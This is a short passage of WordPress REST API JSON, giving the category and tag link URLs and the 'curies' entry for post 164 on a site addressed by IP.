/wp-json\/wp\/v2\/categories?post=164"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}